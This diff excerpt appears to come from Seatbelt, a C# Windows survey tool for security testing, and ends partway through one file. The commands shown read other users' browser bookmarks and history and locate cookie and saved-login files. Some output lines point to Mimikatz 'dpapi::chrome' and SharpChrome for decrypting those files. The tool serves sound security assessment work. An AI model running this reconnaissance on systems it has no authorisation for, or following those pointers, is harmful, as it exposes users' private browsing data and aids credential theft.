* [yizhang82's example of using reflection to interact with COM objects through C#](https://gist.github.com/yizhang82/a1268d3ea7295a8a1496e01d60ada816)
|
||||||
|
* [@djhohnstein](https://twitter.com/djhohnstein)'s [SharpWeb project](https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs)
|
||||||
|
* [@djhohnstein](https://twitter.com/djhohnstein)'s [EventLogParser project](https://github.com/djhohnstein/EventLogParser)
|
||||||
|
* [@cmaddalena](https://twitter.com/cmaddalena)'s [SharpCloud project](https://github.com/chrismaddalena/SharpCloud), BSD 3-Clause
|
||||||
|
* [@_RastaMouse](https://twitter.com/_RastaMouse)'s [Watson project](https://github.com/rasta-mouse/Watson/), GPL License
|
||||||
|
* [@_RastaMouse](https://twitter.com/_RastaMouse)'s [Work on AppLocker enumeration](https://rastamouse.me/2018/09/enumerating-applocker-config/)
|
||||||
|
* [@peewpw](https://twitter.com/peewpw)'s [Invoke-WCMDump project](https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1), GPL License
|
||||||
|
* TrustedSec's [HoneyBadger project](https://github.com/trustedsec/HoneyBadger/tree/master/modules/post/windows/gather), BSD 3-Clause
|
||||||
|
* CENTRAL Solutions's [Audit User Rights Assignment Project](https://www.centrel-solutions.com/support/tools.aspx?feature=auditrights), No license
|
||||||
|
* Collection ideas inspired from [@ukstufus](https://twitter.com/ukstufus)'s [Reconerator](https://github.com/stufus/reconerator)
|
||||||
|
* Office MRU locations and timestamp parsing information from Dustin Hurlbut's paper [Microsoft Office 2007, 2010 - Registry Artifacts](https://ad-pdf.s3.amazonaws.com/Microsoft_Office_2007-2010_Registry_ArtifactsFINAL.pdf)
|
||||||
|
* The [Windows Commands list](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands), used for sensitive regex construction
|
||||||
|
* [Ryan Ries' code for enumeration mapped RPC endpoints](https://stackoverflow.com/questions/21805038/how-do-i-pinvoke-rpcmgmtepeltinqnext)
|
||||||
|
* [Chris Haas' post on EnumerateSecurityPackages()](https://stackoverflow.com/a/5941873)
|
||||||
|
* [darkoperator](carlos_perez)'s work [on the HoneyBadger project](https://github.com/trustedsec/HoneyBadger)
|
||||||
|
* [@airzero24](https://twitter.com/airzero24)'s work on [WMI Registry enumeration](https://github.com/airzero24/WMIReg)
|
||||||
|
* Alexandru's answer on [RegistryKey.OpenBaseKey alternatives](https://stackoverflow.com/questions/26217199/what-are-some-alternatives-to-registrykey-openbasekey-in-net-3-5)
|
||||||
|
* Tomas Vera's [post on JavaScriptSerializer](http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/)
|
||||||
|
* Marc Gravell's [note on recursively listing files/folders](https://stackoverflow.com/a/929418)
|
||||||
|
* [@mattifestation](https://twitter.com/mattifestation)'s [Sysmon rule parser](https://github.com/mattifestation/PSSysmonTools/blob/master/PSSysmonTools/Code/SysmonRuleParser.ps1#L589-L595)
|
||||||
|
* Some inspiration from spolnik's [Simple.CredentialsManager project](https://github.com/spolnik/Simple.CredentialsManager), Apache 2 license
|
||||||
|
* [This post on Credential Guard settings](https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html)
|
||||||
|
* [This thread](https://social.technet.microsoft.com/Forums/windows/en-US/b0e13a16-51a6-4aca-8d44-c85e097f882b/nametype-in-nla-information-for-a-network-profile) on network profile information
|
||||||
|
* Mark McKinnon's post on [decoding the DateCreated and DateLastConnected SSID values](http://cfed-ttf.blogspot.com/2009/08/decoding-datecreated-and.html)
|
||||||
|
* This Specops [post on group policy caching](https://specopssoft.com/blog/things-work-group-policy-caching/)
|
||||||
|
* sa_ddam213's StackOverflow post on [enumerating items in the Recycle Bin](https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files)
|
||||||
|
* Kirill Osenkov's [code for managed assembly detection](https://stackoverflow.com/a/15608028)
|
||||||
|
* The [Mono project](https://github.com/mono/linux-packaging-mono/blob/d356d2b7db91d62b80a61eeb6fbc70a402ac3cac/external/corefx/LICENSE.TXT) for the SecBuffer/SecBufferDesc classes
|
||||||
|
* [Elad Shamir](https://twitter.com/elad_shamir) and his [Internal-Monologue](https://github.com/eladshamir/Internal-Monologue/) project, [Vincent Le Toux](https://twitter.com/mysmartlogon) for his [DetectPasswordViaNTLMInFlow](https://github.com/vletoux/DetectPasswordViaNTLMInFlow/) project, and Lee Christensen for this [GetNTLMChallenge](https://github.com/leechristensen/GetNTLMChallenge/) project. All of these served as inspiration int he SecPackageCreds command.
|
||||||
|
* @leftp and @eksperience's [Gopher project](https://github.com/EncodeGroup/Gopher) for inspiration for the FileZilla and SuperPutty commands
|
||||||
|
* @funoverip for the original McAfee SiteList.xml decryption code
|
||||||
|
|
||||||
|
We've tried to do our due diligence for citations, but if we've left someone/something out, please let us know!
|
|
@ -0,0 +1,25 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 15
|
||||||
|
VisualStudioVersion = 15.0.28010.0
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Seatbelt", "Seatbelt\Seatbelt.csproj", "{AEC32155-D589-4150-8FE7-2900DF4554C8}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{AEC32155-D589-4150-8FE7-2900DF4554C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
{AEC32155-D589-4150-8FE7-2900DF4554C8}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{AEC32155-D589-4150-8FE7-2900DF4554C8}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
{AEC32155-D589-4150-8FE7-2900DF4554C8}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {582494D9-B9F0-40F9-B7B3-4483685E6732}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,142 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Web.Script.Serialization;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Browser
|
||||||
|
{
|
||||||
|
// TODO: Listing bookmarks does not account for bookmark folders. It lists folders, but not nested bookmarks/folders inside another folder )
|
||||||
|
internal class Bookmark
|
||||||
|
{
|
||||||
|
public Bookmark(string name, string url)
|
||||||
|
{
|
||||||
|
Name = name;
|
||||||
|
Url = url;
|
||||||
|
}
|
||||||
|
public string Name { get; }
|
||||||
|
public string Url { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class ChromiumBookmarksCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "ChromiumBookmarks";
|
||||||
|
public override string Description => "Parses any found Chrome/Edge/Brave/Opera bookmark files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc, CommandGroup.Chromium };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public ChromiumBookmarksCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
var parts = dir.Split('\\');
|
||||||
|
var userName = parts[parts.Length - 1];
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") ||
|
||||||
|
dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
string[] paths = {
|
||||||
|
"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\",
|
||||||
|
"\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\",
|
||||||
|
"\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\",
|
||||||
|
"\\AppData\\Roaming\\Opera Software\\Opera Stable\\"
|
||||||
|
};
|
||||||
|
|
||||||
|
foreach (string path in paths)
|
||||||
|
{
|
||||||
|
// TODO: Account for other profiles
|
||||||
|
var userChromeBookmarkPath = $"{dir}{path}Bookmarks";
|
||||||
|
|
||||||
|
// parses a Chrome bookmarks file
|
||||||
|
if (!File.Exists(userChromeBookmarkPath))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var bookmarks = new List<Bookmark>();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var contents = File.ReadAllText(userChromeBookmarkPath);
|
||||||
|
|
||||||
|
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
|
||||||
|
var json = new JavaScriptSerializer();
|
||||||
|
var deserialized = json.Deserialize<Dictionary<string, object>>(contents);
|
||||||
|
var roots = (Dictionary<string, object>)deserialized["roots"];
|
||||||
|
var bookmarkBar = (Dictionary<string, object>)roots["bookmark_bar"];
|
||||||
|
var children = (ArrayList)bookmarkBar["children"];
|
||||||
|
|
||||||
|
foreach (Dictionary<string, object> entry in children)
|
||||||
|
{
|
||||||
|
var bookmark = new Bookmark(
|
||||||
|
$"{entry["name"].ToString().Trim()}",
|
||||||
|
entry.ContainsKey("url") ? $"{entry["url"]}" : "(Bookmark Folder?)"
|
||||||
|
);
|
||||||
|
|
||||||
|
bookmarks.Add(bookmark);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception exception)
|
||||||
|
{
|
||||||
|
WriteError(exception.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new ChromiumBookmarksDTO(
|
||||||
|
userName,
|
||||||
|
userChromeBookmarkPath,
|
||||||
|
bookmarks
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class ChromiumBookmarksDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public ChromiumBookmarksDTO(string userName, string filePath, List<Bookmark> bookmarks)
|
||||||
|
{
|
||||||
|
UserName = userName;
|
||||||
|
FilePath = filePath;
|
||||||
|
Bookmarks = bookmarks;
|
||||||
|
}
|
||||||
|
public string UserName { get; }
|
||||||
|
public string FilePath { get; }
|
||||||
|
public List<Bookmark> Bookmarks { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(ChromiumBookmarksDTO))]
|
||||||
|
internal class ChromiumBookmarksFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public ChromiumBookmarksFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (ChromiumBookmarksDTO)result;
|
||||||
|
|
||||||
|
if (dto.Bookmarks.Count > 0)
|
||||||
|
{
|
||||||
|
WriteLine($"Bookmarks ({dto.FilePath}):\n");
|
||||||
|
|
||||||
|
foreach (var bookmark in dto.Bookmarks)
|
||||||
|
{
|
||||||
|
WriteLine($" Name : {bookmark.Name}");
|
||||||
|
WriteLine($" URL : {bookmark.Url}\n");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,123 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Browser
|
||||||
|
{
|
||||||
|
internal class ChromiumHistoryCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "ChromiumHistory";
|
||||||
|
public override string Description => "Parses any found Chrome/Edge/Brave/Opera history files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc, CommandGroup.Chromium };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public ChromiumHistoryCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
var parts = dir.Split('\\');
|
||||||
|
var userName = parts[parts.Length - 1];
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") ||
|
||||||
|
dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
string[] paths = {
|
||||||
|
"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\",
|
||||||
|
"\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\",
|
||||||
|
"\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\",
|
||||||
|
"\\AppData\\Roaming\\Opera Software\\Opera Stable\\"
|
||||||
|
};
|
||||||
|
|
||||||
|
foreach (string path in paths)
|
||||||
|
{
|
||||||
|
var userChromiumHistoryPath = $"{dir}{path}History";
|
||||||
|
|
||||||
|
// parses a Chrome history file via regex
|
||||||
|
if (File.Exists(userChromiumHistoryPath))
|
||||||
|
{
|
||||||
|
var historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
|
||||||
|
var URLs = new List<string>();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using (var r = new StreamReader(userChromiumHistoryPath))
|
||||||
|
{
|
||||||
|
string line;
|
||||||
|
while ((line = r.ReadLine()) != null)
|
||||||
|
{
|
||||||
|
var m = historyRegex.Match(line);
|
||||||
|
if (m.Success)
|
||||||
|
{
|
||||||
|
URLs.Add($"{m.Groups[0].ToString().Trim()}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (IOException exception)
|
||||||
|
{
|
||||||
|
WriteError($"IO exception, history file likely in use (i.e. browser is likely running): {exception.Message}");
|
||||||
|
}
|
||||||
|
catch (Exception exception)
|
||||||
|
{
|
||||||
|
WriteError(exception.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new ChromiumHistoryDTO(
|
||||||
|
userName,
|
||||||
|
userChromiumHistoryPath,
|
||||||
|
URLs
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class ChromiumHistoryDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public ChromiumHistoryDTO(string userName, string filePath, List<string> urLs)
|
||||||
|
{
|
||||||
|
UserName = userName;
|
||||||
|
FilePath = filePath;
|
||||||
|
URLs = urLs;
|
||||||
|
}
|
||||||
|
public string UserName { get; }
|
||||||
|
public string FilePath { get; }
|
||||||
|
public List<string> URLs { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(ChromiumHistoryDTO))]
|
||||||
|
internal class ChromiumHistoryFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public ChromiumHistoryFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (ChromiumHistoryDTO)result;
|
||||||
|
|
||||||
|
WriteLine($"History ({dto.FilePath}):\n");
|
||||||
|
|
||||||
|
foreach (var url in dto.URLs)
|
||||||
|
{
|
||||||
|
WriteLine($" {url}");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,156 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
using Microsoft.Win32;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Browser
|
||||||
|
{
|
||||||
|
internal class ChromiumPresenceCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "ChromiumPresence";
|
||||||
|
public override string Description => "Checks if interesting Chrome/Edge/Brave/Opera files exist";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Chromium, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public ChromiumPresenceCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
string chromeVersion = "";
|
||||||
|
|
||||||
|
if (!ThisRunTime.ISRemote())
|
||||||
|
{
|
||||||
|
// TODO: translate the chrome path to a UNC path
|
||||||
|
var chromePath = RegistryUtil.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe", "");
|
||||||
|
|
||||||
|
if (chromePath != null)
|
||||||
|
{
|
||||||
|
chromeVersion = FileVersionInfo.GetVersionInfo(chromePath).ProductVersion;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") ||
|
||||||
|
dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
string[] paths = {
|
||||||
|
"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\",
|
||||||
|
"\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\",
|
||||||
|
"\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\",
|
||||||
|
"\\AppData\\Roaming\\Opera Software\\Opera Stable\\"
|
||||||
|
};
|
||||||
|
|
||||||
|
foreach (string path in paths)
|
||||||
|
{
|
||||||
|
var chromeBasePath = $"{dir}{path}";
|
||||||
|
|
||||||
|
if (!Directory.Exists(chromeBasePath))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var history = new DateTime();
|
||||||
|
var cookies = new DateTime();
|
||||||
|
var loginData = new DateTime();
|
||||||
|
|
||||||
|
var userChromeHistoryPath = $"{chromeBasePath}History";
|
||||||
|
if (File.Exists(userChromeHistoryPath))
|
||||||
|
{
|
||||||
|
history = File.GetLastWriteTime(userChromeHistoryPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
var userChromeCookiesPath = $"{chromeBasePath}Cookies";
|
||||||
|
if (File.Exists(userChromeCookiesPath))
|
||||||
|
{
|
||||||
|
cookies = File.GetLastWriteTime(userChromeCookiesPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
var userChromeLoginDataPath = $"{chromeBasePath}LoginData";
|
||||||
|
if (File.Exists(userChromeLoginDataPath))
|
||||||
|
{
|
||||||
|
loginData = File.GetLastWriteTime(userChromeLoginDataPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (history != DateTime.MinValue || cookies != DateTime.MinValue || loginData != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
yield return new ChromiumPresenceDTO(
|
||||||
|
$"{chromeBasePath}",
|
||||||
|
history,
|
||||||
|
cookies,
|
||||||
|
loginData,
|
||||||
|
chromeVersion
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class ChromiumPresenceDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public ChromiumPresenceDTO(string folder, DateTime historyLastModified, DateTime cookiesLastModified, DateTime loginDataLastModified, string chromeVersion)
|
||||||
|
{
|
||||||
|
Folder = folder;
|
||||||
|
HistoryLastModified = historyLastModified;
|
||||||
|
CookiesLastModified = cookiesLastModified;
|
||||||
|
LoginDataLastModified = loginDataLastModified;
|
||||||
|
ChromeVersion = chromeVersion;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Folder { get; }
|
||||||
|
public DateTime HistoryLastModified { get; }
|
||||||
|
public DateTime CookiesLastModified { get; }
|
||||||
|
public DateTime LoginDataLastModified { get; }
|
||||||
|
public string ChromeVersion { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(ChromiumPresenceDTO))]
|
||||||
|
internal class ChromiumPresenceFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public ChromiumPresenceFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (ChromiumPresenceDTO)result;
|
||||||
|
|
||||||
|
WriteLine("\r\n {0}\n", dto.Folder);
|
||||||
|
if (dto.HistoryLastModified != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
WriteLine(" 'History' ({0}) : Run the 'ChromiumHistory' command", dto.HistoryLastModified);
|
||||||
|
}
|
||||||
|
if (dto.CookiesLastModified != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
WriteLine(" 'Cookies' ({0}) : Run SharpDPAPI/SharpChrome or the Mimikatz \"dpapi::chrome\" module", dto.CookiesLastModified);
|
||||||
|
}
|
||||||
|
if (dto.LoginDataLastModified != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
WriteLine(" 'Login Data' ({0}) : Run SharpDPAPI/SharpChrome or the Mimikatz \"dpapi::chrome\" module", dto.LoginDataLastModified);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dto.Folder.Contains("Google"))
|
||||||
|
{
|
||||||
|
WriteLine(" Chrome Version : {0}", dto.ChromeVersion);
|
||||||
|
if (dto.ChromeVersion.StartsWith("8"))
|
||||||
|
{
|
||||||
|
WriteLine(" Version is 80+, new DPAPI scheme must be used");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,118 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Browser
|
||||||
|
{
|
||||||
|
internal class FirefoxHistoryCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "FirefoxHistory";
|
||||||
|
public override string Description => "Parses any found FireFox history files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public FirefoxHistoryCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
var parts = dir.Split('\\');
|
||||||
|
var userName = parts[parts.Length - 1];
|
||||||
|
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") ||
|
||||||
|
dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
|
||||||
|
|
||||||
|
// parses a Firefox history file via regex
|
||||||
|
if (Directory.Exists(userFirefoxBasePath))
|
||||||
|
{
|
||||||
|
var history = new List<string>();
|
||||||
|
var directories = Directory.GetDirectories(userFirefoxBasePath);
|
||||||
|
|
||||||
|
foreach (var directory in directories)
|
||||||
|
{
|
||||||
|
var firefoxHistoryFile = $"{directory}\\places.sqlite";
|
||||||
|
var historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using (var r = new StreamReader(firefoxHistoryFile))
|
||||||
|
{
|
||||||
|
string line;
|
||||||
|
while ((line = r.ReadLine()) != null)
|
||||||
|
{
|
||||||
|
var m = historyRegex.Match(line);
|
||||||
|
if (m.Success)
|
||||||
|
{
|
||||||
|
// WriteHost(" " + m.Groups[0].ToString().Trim());
|
||||||
|
history.Add(m.Groups[0].ToString().Trim());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (IOException exception)
|
||||||
|
{
|
||||||
|
WriteError($"IO exception, places.sqlite file likely in use (i.e. Firefox is likely running). {exception.Message}");
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
WriteError(e.ToString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new FirefoxHistoryDTO(
|
||||||
|
userName,
|
||||||
|
history
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class FirefoxHistoryDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public FirefoxHistoryDTO(string userName, List<string> history)
|
||||||
|
{
|
||||||
|
UserName = userName;
|
||||||
|
History = history;
|
||||||
|
}
|
||||||
|
public string UserName { get; }
|
||||||
|
public List<string> History { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(FirefoxHistoryDTO))]
|
||||||
|
internal class InternetExplorerFavoritesFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public InternetExplorerFavoritesFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (FirefoxHistoryDTO)result;
|
||||||
|
|
||||||
|
WriteLine($"\n History ({dto.UserName}):\n");
|
||||||
|
|
||||||
|
foreach (var history in dto.History)
|
||||||
|
{
|
||||||
|
WriteLine($" {history}");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,118 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Browser
|
||||||
|
{
|
||||||
|
internal class FirefoxPresenceCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "FirefoxPresence";
|
||||||
|
public override string Description => "Checks if interesting Firefox files exist";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public FirefoxPresenceCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
|
||||||
|
if (!Directory.Exists(userFirefoxBasePath))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var historyLastModified = new DateTime();
|
||||||
|
var credentialFile3LastModified = new DateTime();
|
||||||
|
var credentialFile4LastModified = new DateTime();
|
||||||
|
|
||||||
|
var directories = Directory.GetDirectories(userFirefoxBasePath);
|
||||||
|
foreach (var directory in directories)
|
||||||
|
{
|
||||||
|
var firefoxHistoryFile = $"{directory}\\places.sqlite";
|
||||||
|
